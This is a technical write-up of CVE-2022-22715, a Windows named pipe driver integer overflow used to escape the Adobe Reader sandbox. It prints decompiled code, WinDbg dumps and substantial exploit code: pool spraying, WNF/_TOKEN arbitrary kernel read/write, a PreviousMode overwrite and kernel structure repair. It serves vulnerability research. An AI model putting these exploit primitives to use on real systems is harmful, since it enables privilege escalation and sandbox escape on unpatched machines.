Break Me Out Of Sandbox In Old Pipe - CVE-2022-22715 Windows Dirty Pipe
A named pipe path beginning with a local alias prefix caused a 16-bit integer overflow and then an underflow in the Windows named pipe file system driver, so a small kernel pool allocation was followed by a very large copy. An attacker inside an AppContainer or restricted sandbox could corrupt adjacent kernel pool memory and, with further work, gain arbitrary kernel read/write and escape the sandbox.
In February 2022, Microsoft patched the vulnerability I used in TianfuCup 2021 for escaping Adobe Reader sandbox, assigned CVE-2022-22715. The vulnerability existed in Named Pipe File System nearly 10 years since the AppContainer was born.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
In February 2022 Microsoft patched a vulnerability that k0shl of Cyber Kunlun had used at TianfuCup 2021 to escape the Adobe Reader sandbox. It was assigned CVE-2022-22715 and the author calls it "Windows Dirty Pipe". The bug lived in the Named Pipe File System, npfs.sys, and had been present for nearly ten years, since AppContainer was introduced.
A named pipe is a named, one-way or duplex pipe used for communication between a pipe server and one or more pipe clients. Browsers and applications commonly use named pipes as IPC between a browser process and a render process. AppContainer was introduced with Windows 8.1 as a sandbox mechanism that isolates resource access for UWP applications. Some browsers and applications, such as old Edge or Adobe Reader, use AppContainer as their render process sandbox, and the Named Pipe File System therefore gained mechanisms to support AppContainer. That support is where the bug sits.
The vulnerable function is npfs!NpTranslateContainerLocalAlias. Its job is to translate a pipe name that begins with LOCAL\ into a new name of the form Sessions\<session>\AppContainerNamedObjects\..., so that the pipe object is created under the AppContainerNamedObjects directory in the object manager. The size arithmetic in that translation is done in 16-bit variables, and that is the root cause.
Setup
The work is kernel exploitation research against a Windows build from before the February 2022 patch, driven from a sandboxed (AppContainer or restricted) process. The author does not list specific OS builds or tool versions. The tools visible in the write-up are WinDbg for pool inspection (!pool, dq, register dumps) and a user-mode exploit harness that calls NT APIs through resolved function pointers such as fNtCreateWnfStateName, fNtUpdateWnfStateData, fNtQueryWnfStateData, fNtSetInformationToken, fNtQueryInformationToken, fNtOpenProcessToken and fNtQuerySecurityObject.
The precondition for reaching the vulnerable code is that the calling process token is an AppContainer token, a restricted token, or both. The final payload stage assumes the target is Adobe Reader: the render process runs inside a Job, so it cannot create a process directly.
Finding it
When a named pipe is opened through NtCreateFile, the request reaches the IRP_MJ_CREATE handler of npfs, NpFsdCreate. That function dispatches on the parameters of NtCreateFile, such as the RootDirectory in ObjectAttributes or the CreateDisposition:
__int64 __fastcall NpFsdCreate(__int64 a1, _IRP *a2)
{
[...]
if ( RelatedFileObject )
{
[...]
}
if ( UnicodeString.Length )
{
if ( UnicodeString.Length == 2 && *UnicodeString.Buffer == 0x5C && !RelatedFileObject ) // ===> if open root directory
goto LABEL_47;
}
else
{
if ( !RelatedFileObject || NamedPipeType == 0x201 )
{
[...]
}
if ( NamedPipeType == 0x206 )
{
LABEL_47:
*(_OWORD *)&a2->IoStatus.Status = *(_OWORD *)NpOpenNamedPipeRootDirectory( // ===> open root directory
(__int64)&MasterIrp,
v3,
(__int64)FileObject);
[...]
}
}
if ( ifopenflag )
{
if ( !RelatedFileObject )
{
if ( createdisposition == 1 )
{
*(_OWORD *)&a2->IoStatus.Status = *(_OWORD *)NpOpenNamedPipePrefix( // ====> open a existed directory named pipe
(__int64)v33,
v3,
FileObject,
v11,
DesiredAccess,
RequestorMode);
[...]
}
if ( (unsigned int)(createdisposition - 2) <= 1 )
{
*(_OWORD *)&a2->IoStatus.Status = *(_OWORD *)NpCreateNamedPipePrefix( // ====> create a new directory named pipe
(__int64)v34,
v3,
FileObject,
(struct _SECURITY_SUBJECT_CONTEXT *)v11,
DesiredAccess,
RequestorMode,
Options_high);
[...]
}
}
goto LABEL_57;
}
[...]
Status = NpTranslateAlias((__m128i *)&namedpipename, ClientToken, &v39); // =====> create a new pipe
[...]
}
Creating a new named pipe lands in NpTranslateAlias. The pipe name is attacker-controlled, and the function compares its prefix against LOCAL\:
NTSTATUS __fastcall NpTranslateAlias(UNICODE_STRING *namedpipename, void *a2, _DWORD *a3)
{
[...]
*(_QWORD *)&String1.Length = 0xE000Ci64;
String1.Buffer = L"LOCAL\\";
DestinationString = 0i64;
*a3 = 0;
Length = _mm_cvtsi128_si32(*(__m128i *)a1);
String2 = *a1;
String2.Length = Length;
if ( Length >= 2u && *String2.Buffer == 0x5C )
{
Length -= 2;
String2.MaximumLength -= 2;
v7 = 1;
++String2.Buffer;
String2.Length = Length;
}
else
{
v7 = 0;
}
if ( !Length )
return 0;
if ( a2 && Length > 0xCu )
{
if ( RtlPrefixUnicodeString(&String1, &String2, 1u) ) // ====> compare "LOCAL\\" and prefix of named pipe name
return NpTranslateContainerLocalAlias(a1, a2, a3); // =====> vulnerable code
[...]
}
So a pipe name of the form \Device\NamedPipe\LOCAL\xxxxx reaches NpTranslateContainerLocalAlias. The function first checks the token:
NTSTATUS __fastcall NpTranslateContainerLocalAlias(struct _UNICODE_STRING *namedpipename, void *a2, _DWORD *a3)
{
[...]
result = SeQueryInformationToken(a2, TokenIsAppContainer, &TokenInformation);
if ( result >= 0 )
{
result = SeQueryInformationToken(a2, TokenIsRestricted|TokenGroups, &v28);
if ( result >= 0 )
{
if ( !TokenInformation && !v28 ) // =====> token must be appcontainer or restricted
return 0;
[...]
v14 = *namedpipename;
*(_QWORD *)&v30 = *(_QWORD *)&namedpipename->Length;
v15 = v30;
v16 = (_WORD *)_mm_srli_si128((__m128i)v14, 8).m128i_u64[0];
v17 = v16;
*((_QWORD *)&v30 + 1) = v16;
if ( *v16 == '\\' )
{
v17 = v16 + 1;
ifslash = 1; // ====> if there is "\\" in named pipe name, ifslash will set to 1
v15 = v30 - 2;
}
else
{
ifslash = 0;
}
[...] // ====> calculate the new prefix length
v21 = prefixlength + namedpipenamelength + 0x14;
v26.MaximumLength = v21;
if ( ifslash )
{
v21 += 2; // ===> variable v21 is ushort type, it will be add to 0
v26.MaximumLength = v21;
}
PoolWithTag = (WCHAR *)ExAllocatePoolWithTag(PagedPool, v21, 0x6E46704Eu); // ====> v21 will be 0 because of integer overflow, and it will allocate a small pool.
v26.Buffer = PoolWithTag;
if ( PoolWithTag )
{
if ( ifslash )
{
v26.Buffer = PoolWithTag + 1;
v26.MaximumLength -= 2; // if ifslash is 1, length 0 minus 2, it will cause integer underflow and the length will be set to 0xfffe
}
[...]
RtlUnicodeStringPrintf( // ====> RtlUnicodeStringPrintf will copy large size(0xfffe) buffer to a small pool cause out of bound write
&v26,
L"Sessions\\%ld\\AppContainerNamedObjects\\%wZ\\%wZ\\%wZ",
(unsigned int)v32,
&v35,
&DestinationString,
&v30);
[...]
}
[...]
}
The token check requires the process to be an AppContainer, restricted, or both. The function then looks at the first wide character of the pipe name: if it is a backslash, ifslash is set to 1. It computes a new prefix length that includes the SID, session number and other strings, adds the pipe name length and 0x14, and adds 2 more when ifslash is 1. All of these size variables are ushort, so a long enough pipe name wraps the total to a small value. The pool is allocated with that small size. Then, when ifslash is 1, the maximum length is decremented by 2; if the total was 0, this underflows to 0xfffe. RtlUnicodeStringPrintf then copies according to that maximum length into the small pool, producing an out-of-bounds write.
The crash dump confirms the corruption of objects following the 0x20 pool:
rax=0000000000000000 rbx=ffffe7862a687118 rcx=ffffe7862a687080
rdx=4141414141414141 rsi=4141414141414141 rdi=ffffe7862a6876d0
rip=fffff80313807bc8 rsp=ffffe40ab22d8420 rbp=ffffe7862a4e6820
r8=ffffe40ab22d8470 r9=000001c7aa2763c0 r10=fffff80313807ac0
r11=ffffe7862a687080 r12=0000000000000001 r13=0000000000000001
r14=ffffe78628cbc060 r15=0000000000000000
iopl=0 nv up ei pl zr na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00050246
nt!ExAcquirePushLockExclusiveEx+0x108:
fffff803`13807bc8 f0480fba2e00 lock bts qword ptr [rsi],0 ds:002b:41414141`41414141=????????????????
Exploitation
Two challenges shape the whole exploit. First, the integer overflow can produce small totals such as 0x20, 0x30 or 0x40, but the total must be exactly 0, because only then does subtracting 2 underflow the maximum length to a large value; any non-zero small total stays small after the subtraction and no out-of-bounds write happens. Second, the copy length is 0xfffe, more than 16 pages, so a stable layout is hard to arrange.
The key observation for the layout is that different types of subsegment can be allocated in the same segment. After some tests the author confirmed that a 0x20 LFH subsegment and a VS subsegment can be made adjacent.
Step 1: choose the manager and worker objects
The corrupted pool is a 0x20 paged pool, so the author uses WNF as the limited read/write primitive. _WNF_STATE_DATA is the manager object: its maximum read/write range is 0x1000. The worker object must be a paged pool object containing a pointer field usable for arbitrary address read/write through a memcpy-like operation. The author chose _TOKEN.
With NtSetInformationToken and the TokenDefaultDacl information class, the kernel reaches SepAppendDefaultDacl, which copies user-controlled content to a pointer field stored in the _TOKEN object:
void *__fastcall SepAppendDefaultDacl(_TOKEN *TOKEN, unsigned __int16 *usercontrolled)
{
v3 = usercontrolled[1];
v4 = (_ACL *)&TOKEN->DynamicPart[*((unsigned __int8 *)a1->PrimaryGroup + 1) + 2];
result = memmove(v4, usercontrolled, usercontrolled[1]);
[...]
}
With NtQueryInformationToken and TokenBnoIsolation, the kernel copies an isolation prefix buffer back to user mode:
NTSTATUS __stdcall NtQueryInformationToken(
HANDLE TokenHandle,
TOKEN_INFORMATION_CLASS TokenInformationClass,
PVOID TokenInformation,
ULONG TokenInformationLength,
PULONG ReturnLength)
{
[...]
case TokenBnoIsolation:
[...]
memmove(
(char *)TokenInformation + 16,
TOKEN->BnoIsolationHandlesEntry->EntryDescriptor.IsolationPrefix.Buffer,
TOEKN->BnoIsolationHandlesEntry->EntryDescriptor.IsolationPrefix.MaximumLength);
}
[...]
}
A fake _TOKEN structure built through the manager object can therefore modify the adjacent worker object, and the two token APIs become the arbitrary read/write primitive.
Step 2: choose the 0x20 spray object
The spray object must be fully controllable, including allocation and free. nt!NtRegisterThreadTerminatePort provides this:
NTSTATUS __fastcall NtRegisterThreadTerminatePort(void *a1)
{
CurrentThread = KeGetCurrentThread();
Object = 0i64;
result = ObReferenceObjectByHandle(a1, 1u, LpcPortObjectType, CurrentThread->PreviousMode, &Object, 0i64);
if ( result >= 0 )
{
PoolWithQuotaTag = ExAllocatePoolWithQuotaTag((POOL_TYPE)9, 0x10ui64, 0x70547350u);
v4 = PoolWithQuotaTag;
if ( PoolWithQuotaTag )
{
PoolWithQuotaTag[1] = Object;
*PoolWithQuotaTag = CurrentThread[1].InitialStack;
result = 0;
CurrentThread[1].InitialStack = v4;
}
else
{
ObfDereferenceObject(Object);
return -1073741670;
}
}
return result;
}
It references an LPC port object, allocates a 0x20 paged pool entry to store it, and links that entry into the _ETHREAD. Calling it repeatedly from a thread allocates a large number of 0x20 paged pool entries.
Step 3: the pool feng shui plan
- Spray 0x20 paged pool to fill the LFH subsegment. When all segments are full, the backend allocator creates a new segment, and the new 0x20 LFH subsegment lands in it.
- Spray
_TOKENand_WNF_STATE_DATAobjects to fill the VS subsegment, keeping them in the same page. The frontend allocator eventually creates a new VS subsegment, which lands in the segment created in step 1, adjacent to the LFH subsegment.
The resulting layout is:

The vulnerable pool's position inside the LFH bucket cannot be predicted, and it does not need to be: the out-of-bounds write targets the manager and worker objects in the VS subsegment, so the LFH bucket is simply filled with spray objects and the vulnerable object is left to land at the end of the bucket.
Step 4: account for _WNF_NAME_INSTANCES
Spraying WNF objects also creates _WNF_NAME_INSTANCES objects, which make the frontend allocator create another LFH segment and disturb the layout. Before the feng shui, the author creates and frees a large number of 0xd0 pools to leave holes for those objects:
for (UINT i = 0x0; i < 0x4000; i++) {//0xf000 for normal pool hole
AllocateWnfObject(0xd0, &gStateName[i]);
}
for (UINT i = 0x0; i < 0x4000; i++) {//0xf000
fNtDeleteWnfStateName(&gStateName[i]);//0x30
}
Step 5: verify the layout in WinDbg
After spraying the spray objects, _TOKEN objects and _WNF_STATE_DATA objects, the new LFH and VS subsegments appear in the new segment:
0: kd> !pool ffffb0880d69e000
Pool page ffffb0880d69e000 region is Paged pool
*ffffb0880d69e000 size: 20 previous size: 0 (Allocated) *PsTp Process: ffffc10b74a1c080
Pooltag PsTp : Thread termination port block, Binary : nt!ps
ffffb0880d69e020 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e040 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e060 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e080 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e0a0 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
0: kd> !pool ffffb0880d69f000
Pool page ffffb0880d69f000 region is Paged pool
*ffffb0880d69f000 size: 20 previous size: 0 (Free) *....
Owning component : Unknown (update pooltag.txt)
ffffb0880d69f020 size: 20 previous size: 0 (Free) ....
ffffb0880d69f040 size: 20 previous size: 0 (Free) ....
ffffb0880d69f060 size: 20 previous size: 0 (Free) ....
ffffb0880d69f080 size: 20 previous size: 0 (Free) ....
ffffb0880d69f0a0 size: 20 previous size: 0 (Free) ....
0: kd> !pool ffffb0880d6a0000
Pool page ffffb0880d6a0000 region is Paged pool
*ffffb0880d6a0000 size: 20 previous size: 0 (Free) *....
Owning component : Unknown (update pooltag.txt)
ffffb0880d6a0020 size: 20 previous size: 0 (Free) ....
ffffb0880d6a0040 size: 20 previous size: 0 (Free) ....
ffffb0880d6a0060 size: 20 previous size: 0 (Free) ....
ffffb0880d6a0080 size: 20 previous size: 0 (Free) ....
0: kd> !pool ffffb0880d6a1000
Pool page ffffb0880d6a1000 region is Paged pool
*ffffb0880d6a1000 size: 20 previous size: 0 (Free) *....
Owning component : Unknown (update pooltag.txt)
ffffb0880d6a1020 size: 20 previous size: 0 (Free) ....
ffffb0880d6a1040 size: 20 previous size: 0 (Free) ....
ffffb0880d6a1060 size: 20 previous size: 0 (Free) ....
ffffb0880d6a1080 size: 20 previous size: 0 (Free) ....
0: kd> !pool ffffb0880d6a2000 // ======> new VS subsegment header
Pool page ffffb0880d6a2000 region is Paged pool
*ffffb0880d6a2000 size: 30 previous size: 0 (Free) *....
Owning component : Unknown (update pooltag.txt)
ffffb0880d6a2040 size: 880 previous size: 0 (Allocated) Toke
ffffb0880d6a28d0 size: 580 previous size: 0 (Allocated) Wnf Process: ffffc10b74a1c080
ffffb0880d6a2e50 size: 190 previous size: 0 (Free) ..D.

The free LFH holes sit at the end of the bucket and the new VS subsegment is next to the LFH bucket, so a vulnerable object created now lands in one of the free LFH holes. The vulnerable object may not be in the last LFH page, but that is not necessary: corruption of the LFH bucket does not affect the exploitation.
0: kd> r
rax=ffffb0880d69e750 rbx=0000000000000002 rcx=0000000000000028
rdx=0000000000000000 rsi=0000000000000000 rdi=ffffe4835a302301
rip=fffff800401c2b31 rsp=ffffe4835a301e00 rbp=ffffe4835a301f00
r8=0000000000000fff r9=00000000000004ca r10=000000006e46704e
r11=0000000000001001 r12=ffffe4835a302220 r13=ffffe4835a302310
r14=0000000000000001 r15=000000000000ff01
iopl=0 nv up ei ng nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040282
Npfs!NpTranslateContainerLocalAlias+0x391:
fffff800`401c2b31 4889442450 mov qword ptr [rsp+50h],rax ss:0018:ffffe483`5a301e50=0000000000000000
0: kd> !pool @rax // ===> vulnerable pool locate at one of free hole in LFH bucket
Pool page ffffb0880d69e750 region is Paged pool
ffffb0880d69e700 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e720 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
*ffffb0880d69e740 size: 20 previous size: 0 (Allocated) *NpFn
Pooltag NpFn : Name block, Binary : npfs.sys
ffffb0880d69e760 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e780 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e7a0 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e7c0 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e7e0 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e800 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e820 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e840 size: 20 previous size: 0 (Free) MPCt
ffffb0880d69e860 size: 20 previous size: 0 (Free) MPCt
ffffb0880d69e880 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e8a0 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e8c0 size: 20 previous size: 0 (Free) MPCt
ffffb0880d69e8e0 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080

Step 6: trigger the overflow and corrupt DataSize
RtlUnicodeStringPrintf writes about 0xfffe bytes of the attacker-controlled pipe name, corrupting both the LFH pool space and the VS pool space. The payload is shaped so that it modifies _WNF_STATE_DATA->DataSize. A _WNF_STATE_DATA object cannot normally have a DataSize larger than its data region, but after the corruption it can be set to any value up to 0x1000, giving a limited out-of-bounds read/write primitive that reaches the _TOKEN object in the next page:
0: kd> dq ffffb0880d6a28d0 l4
ffffb088`0d6a28d0 00001000`00001000 00001000`00001000
ffffb088`0d6a28e0 00001000`00001000 00001000`00001000

Step 7: identify the corrupted manager and worker objects
Using a corrupted object by handle would crash the system because the object header is damaged, so the exploit must learn which handle corresponds to the corrupted objects. Two oracles solve this.
For the manager object, NtQueryWnfStateData is called with a length of 0x1000. If the _WNF_STATE_DATA is not corrupted, the call returns 0xC0000023; if it is, the call returns the out-of-bounds data. Reading does not corrupt the object structure, so this is safe to repeat. The out-of-bounds data reveals the last corrupted page, and the object in that page is the manager object.
For the worker object, every _TOKEN has a unique LUID, the TokenId, which can be queried with NtQueryInformationToken and the TokenStatistics class. The exploit stores these in an array while spraying _TOKEN objects. The LUID read from the out-of-bounds data is matched against the array to find the worker object. _WNF_NAME_INSTANCES objects are not corrupted, so NtUpdateWnfStateData and NtQueryWnfStateData remain usable.
0: kd> dq 0xffffb0880d6ae000 // ===> the last corrupted page
ffffb088`0d6ae000 00010001`00010001 00010001`00010001
ffffb088`0d6ae010 00010001`00010001 00010001`00010001
ffffb088`0d6ae020 00010001`00010001 00010001`00010001
ffffb088`0d6ae030 00010001`00010001 00010001`00010001
0: kd> dq 0xffffb0880d6af000 // ===> the first normal page
ffffb088`0d6af000 656b6f54`03880000 00000000`00000000
ffffb088`0d6af010 000007b8`00001000 00000000`00000108
ffffb088`0d6af020 ffffc10b`775e8b80 00000000`00000000
ffffb088`0d6af030 00000000`00008000 00000000`00000001
ffffb088`0d6af040 00000000`00000000 00000000`0008006d

Step 8: build the arbitrary read and write primitives
With the manager name and worker handle known, the exploit builds a 0x1000 fake data block containing a fake _TOKEN structure and a _WNF_STATE_DATA structure. The original _TOKEN contents were already obtained through NtQueryWnfStateData, so only a few fields need changing.
Read primitive:
FakeSepCached = malloc(0x48);
ZeroMemory(FakeSepCached, 0x48);
*(USHORT*)((ULONG_PTR)FakeSepCached + 0x2A) = 0x8;
*(UINT64*)((ULONG_PTR)FakeSepCached + 0x30) = ReadAddress;
CorruptionData = malloc(OriginalSize);
ZeroMemory(CorruptionData, OriginalSize);
CopyMemory(CorruptionData, gOccupyWorkerToken, OriginalSize);
*(PUINT64)((UINT64)CorruptionData + TokenOffset + 0x480) = (UINT64)FakeSepCached;
*(PUINT64)((UINT64)CorruptionData + TokenOffset - 0x30) = (UINT64)3;
Status = fNtUpdateWnfStateData(&gWorkerStateName, CorruptionData, OriginalSize, &TypeID, NULL, NULL, NULL); // ===> control manager object
if (Status < 0) {
free(CorruptionData);
free(FakeSepCached);
return FALSE;
}
// ===> arbitrary read
Status = fNtQueryInformationToken(
TokenHandle,
TokenBnoIsolation,
&RecvBuffer,
RecvBufferSize,
&RecvBufferSize);
Write primitive:
CorruptionData = (PCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, OriginalSize);
CopyMemory(CorruptionData, gOccupyWorkerToken, OriginalSize);
*(PUINT64)(CorruptionData + TokenOffset - 0x30) = 2;
*(PUINT64)(CorruptionData + TokenOffset + 0x8c) = 0x10000;
*(PUINT64)(CorruptionData + TokenOffset + 0xa8) = (UINT64)pETHREAD + 0x1f0;
*(PUINT64)(CorruptionData + TokenOffset + 0xb0) = (UINT64)pETHREAD + 0x1e8;
*(PUINT64)(CorruptionData + TokenOffset + 0xb8) = (UINT64)0;
fNtUpdateWnfStateData(&gWorkerStateName, CorruptionData, OriginalSize, &TypeID, NULL, NULL, NULL);// ===> control manager object
pACL = (PACL)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x48);
pACL->AclRevision = 2;
pACL->AceCount = 1;
pACL->AclSize = 0x48;
pACE = (PACE_HEADER)(pACL + 1);
pACE->AceSize = 0x48 - sizeof(ACL);
pACE->AceType = 50;
*(PUINT64)((ULONG_PTR)pACL + 0x18) = (UINT64)pQueueListEntryFlink;
*(PUINT64)((ULONG_PTR)pACL + 0x20) = (UINT64)pQueueListEntryBlink;
*(PUINT64)((ULONG_PTR)pACL + 0x28) = (UINT64)pNextProcessor;
*(PUINT64)((ULONG_PTR)pACL + 0x30) = (UINT64)pProcess;
*(PUINT64)((ULONG_PTR)pACL + 0x38) = 0x3;
*(PUINT64)((ULONG_PTR)pACL + 0x40) = 0x0100000008000000;
// ===> arbitrary write
Status = fNtSetInformationToken(
TokenHandle,
TokenDefaultDacl,
&pACL,
8);
Step 9: elevate privilege and fix up
Replacing the process token with the system token works, but it crashes easily: corrupted _TOKEN objects break tools such as Process Explorer, which walks every process's user-space handle table and crashes when it reaches the exploited process. The author therefore does not replace the token. Instead the worker object sets _ETHREAD->PreviousMode to 0, so that NT APIs such as NtReadVirtualMemory and NtWriteVirtualMemory treat the thread as running in kernel mode. This is a common privilege-escalation technique and makes both elevation and repair easier than rebuilding fake objects each time.
Two repairs are needed.
Corrupted _TOKEN objects. The crash comes from the ObjectType in the object header: when nt references the object, the corrupted type crashes the system. The cookie is read from the nt data section and the object type is recomputed for every corrupted _TOKEN header:
UINT64 pObjHeaderCookie = ntaddr + OBJHEADERCOOKIE;
BYTE cookie;
X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pObjHeaderCookie, (UINT64)&cookie, (UINT64)sizeof(BYTE), (UINT64)&dwByte);
BYTE addrbyte = (pPoolAddress >> 8) & 0xff;
BYTE offset = cookie ^ addrbyte ^ TokenTypeIndex;
BYTE bModifiedType;
for (UINT i = typeindex; i <= modifiedindex; i++) {
bModifiedType = offset ^ cookie ^ (((pPoolAddress - i * 0x1000) >> 8) & 0xff);
X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)((UINT64)pPoolAddress - i * 0x1000 + 0x88), (UINT64)&bModifiedType, (UINT64)sizeof(BYTE), (UINT64)&dwByte);
X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)((UINT64)pPoolAddress - i * 0x1000 + 0x48), (UINT64)&bModifiedType, (UINT64)sizeof(BYTE), (UINT64)&dwByte);
}
Corrupted VS pool structures. This is the most complicated problem. The overflow also corrupts the VS pool structure, which causes unexpected BSoDs. Reversing the VS allocator shows an RBTree managing the VS pools: given a VS pool address, the VS pool manager address can be calculated. When a VS pool is allocated or freed, the manager traverses the RBTree from the root, and reaching a corrupted node crashes. The fix is to find the corrupted node from the root and delete it from the RBTree. This can leak memory if other VS pools sit under the corrupted node, but it avoids crashing the system.

The exploit calculates the root VS pool, traverses the RBTree and removes the node:
UINT64 zeroSet = 0x0;
UINT64 ntaddr = KernelSymbolInfo();
UINT64 pGlobalHeapAddr = ntaddr + GLOBALOFFSET;
UINT64 pGlobalHeapValue;
UINT64 pPoolChunkAddr = pPoolAddress & 0xfffffffffff00000;
UINT64 pPoolChunkValue;
X64Call(pReadVirtualMemory, 5 , (UINT64)GetCurrentProcess(), (UINT64)pGlobalHeapAddr, (UINT64)&pGlobalHeapValue, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pPoolChunkAddr + 0x10, (UINT64)&pPoolChunkValue, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
UINT64 pHpMgrAddr = ((UINT64)pGlobalHeapValue ^ (UINT64)pPoolChunkAddr ^ (UINT64)pPoolChunkValue ^ 0xA2E64EADA2E64EAD) - 0x100 + 0x290; // ======> calculate the VS pool manager address
UINT64 pRootChunkAddr;
UINT64 pRightChunk;
UINT64 pLeftChunk;
X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pHpMgrAddr, (UINT64)&pRootChunkAddr, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr, (UINT64)&pLeftChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr + 0x8, (UINT64)&pRightChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte); // ====> get the root VS pool address
UINT64 pTargetChunk = pPoolAddress & 0xffffffffffff0000;
UINT64 pFinalChunk = NULL;
UINT64 pTempLeftChunk = pLeftChunk, pTempRightChunk = pRightChunk;
UINT64 pTempRootChunk;
pRootChunkAddr = pLeftChunk; // ====> traversal from left chunk
while (pLeftChunk != 0 && pRightChunk != 0) {
X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr, (UINT64)&pLeftChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr + 0x8, (UINT64)&pRightChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
if (pTargetChunk == pRootChunkAddr & 0xffffffffffff0000) {
X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr, (UINT64)&fakenode, (UINT64)sizeof(FAKETREENODE), (UINT64)&dwByte);
X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr + 0x10, (UINT64)&pTempRootChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
break;
}
pTempRootChunk = pRootChunkAddr;
if (pLeftChunk > pRootChunkAddr) {
X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pLeftChunk, (UINT64)&fakenode, (UINT64)sizeof(FAKETREENODE), (UINT64)&dwByte);
pRootChunkAddr = pRightChunk;
continue;
}
else if (pRootChunkAddr > pRightChunk) {
X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRightChunk, (UINT64)&fakenode, (UINT64)sizeof(FAKETREENODE), (UINT64)&dwByte);
pRootChunkAddr = pLeftChunk;
continue;
}
if (pTargetChunk < pRootChunkAddr) {
pRootChunkAddr = pLeftChunk;
continue;
}
if (pTargetChunk > pRootChunkAddr) {
pRootChunkAddr = pRightChunk;
continue;
}
}
pRootChunkAddr = pTempRightChunk; // ====> traversal from right chunk
while (pLeftChunk != 0 && pRightChunk != 0) {
X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr, (UINT64)&pLeftChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr + 0x8, (UINT64)&pRightChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
if (pTargetChunk == pRootChunkAddr & 0xffffffffffff0000) {
X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr, (UINT64)&fakenode, (UINT64)sizeof(FAKETREENODE), (UINT64)&dwByte);
X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr + 0x10, (UINT64)&pTempRootChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
break;
}
pTempRootChunk = pRootChunkAddr;
if (pLeftChunk > pRootChunkAddr) {
X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pLeftChunk, (UINT64)&fakenode, (UINT64)sizeof(FAKETREENODE), (UINT64)&dwByte);
pRootChunkAddr = pRightChunk;
continue;
}
else if (pRootChunkAddr > pRightChunk) {
X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRightChunk, (UINT64)&fakenode, (UINT64)sizeof(FAKETREENODE), (UINT64)&dwByte);
pRootChunkAddr = pLeftChunk;
continue;
}
if (pTargetChunk < pRootChunkAddr) {
pRootChunkAddr = pLeftChunk;
continue;
}
if (pTargetChunk > pRootChunkAddr) {
pRootChunkAddr = pRightChunk;
continue;
}
}
Step 10: payload delivery
After the repairs, the exploit pops cmd. Because the Adobe Reader render process runs in a Job, it cannot create a process itself, so the exploit injects shellcode into the browser process and writes a file on volume C: to complete the exploit.

Root cause
The size arithmetic in NpTranslateContainerLocalAlias is performed in ushort variables. The total is prefixlength + namedpipenamelength + 0x14, plus 2 when the pipe name starts with a backslash. A long pipe name wraps the total to 0, the pool is allocated with size 0, and the subsequent MaximumLength -= 2 underflows to 0xfffe. RtlUnicodeStringPrintf then copies up to that maximum length into the tiny allocation, writing far past it. The token check requires the process to be an AppContainer, restricted, or both, which is the context the bug was used in.
Impact
